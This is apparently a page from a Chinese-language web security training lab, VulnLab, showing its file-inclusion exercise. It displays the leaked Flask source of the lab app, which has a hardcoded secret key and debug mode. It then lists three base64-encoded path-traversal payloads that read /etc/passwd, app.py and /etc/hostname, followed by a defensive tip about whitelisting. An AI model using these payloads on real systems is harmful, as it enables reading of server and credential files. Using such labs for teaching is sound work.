📄 请求: /vuln7/base64?token=Li4vYXBwLnB5
→ 解码: ../app.py
"""
VulnLab -- Web 安全漏洞实训平台
================================
模块化架构:每个实验模块独立一个文件,位于 modules/ 目录。
增删实验:
1. 在 modules/ 中增删 .py 文件
2. 在下方 import + register_blueprint
3. 重建 Docker
模块编号:
01 password_leak -- 密码泄露 (vuln1-4)
02 sql_injection -- SQL 注入 (vuln5)
03 file_upload -- 文件上传 (vuln6)
04 idor -- IDOR 越权
05 lfi -- 文件包含 (vuln7)
06 csrf -- CSRF (vuln8)
07 ssrf -- SSRF (vuln9)
08 cmdi -- 命令注入 (vuln10)
09 xxe -- XXE (vuln11)
"""
from flask import Flask
import database
# -- 导入实验模块 --
from modules.password_leak import bp as password_leak_bp
from modules.sql_injection import bp as sql_injection_bp
from modules.file_upload import bp as file_upload_bp
from modules.idor import bp as idor_bp
from modules.lfi import bp as lfi_bp
from modules.csrf import bp as csrf_bp
from modules.ssrf import bp as ssrf_bp
from modules.cmdi import bp as cmdi_bp
from modules.xxe import bp as xxe_bp
# -- 创建 App --
app = Flask(__name__)
app.secret_key = 'dev-key-2025'
app.config['MAX_CONTENT_LENGTH'] = 16 * 1024 * 1024
# 注册数据库清理钩子
database.init_app(app)
# -- 注册实验模块 --
app.register_blueprint(password_leak_bp)
app.register_blueprint(sql_injection_bp)
app.register_blueprint(file_upload_bp)
app.register_blueprint(idor_bp)
app.register_blueprint(lfi_bp)
app.register_blueprint(csrf_bp)
app.register_blueprint(ssrf_bp)
app.register_blueprint(cmdi_bp)
app.register_blueprint(xxe_bp)
# -- 启动 --
if __name__ == '__main__':
database.init_dirs()
database.init_db()
database.init_idor_db()
app.run(host='0.0.0.0', port=5000, debug=True)
编码方法:Kali 终端执行 echo -n "../../../../../etc/passwd" | base64 生成 Base64 载荷
POC 01:Li4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA== → 解码后为 ../../../../../../etc/passwd
POC 02:Li4vYXBwLnB5 → 解码后为 ../app.py
POC 03:Li4vLi4vLi4vLi4vLi4vLi4vZXRjL2hvc3RuYW1l → 解码后为 ../../../../../../etc/hostname
⚠️ 防御要点:Base64 只是编码不是加密,不能替代输入校验。必须以白名单限制允许访问的文件。
← 返回 LFI 菜单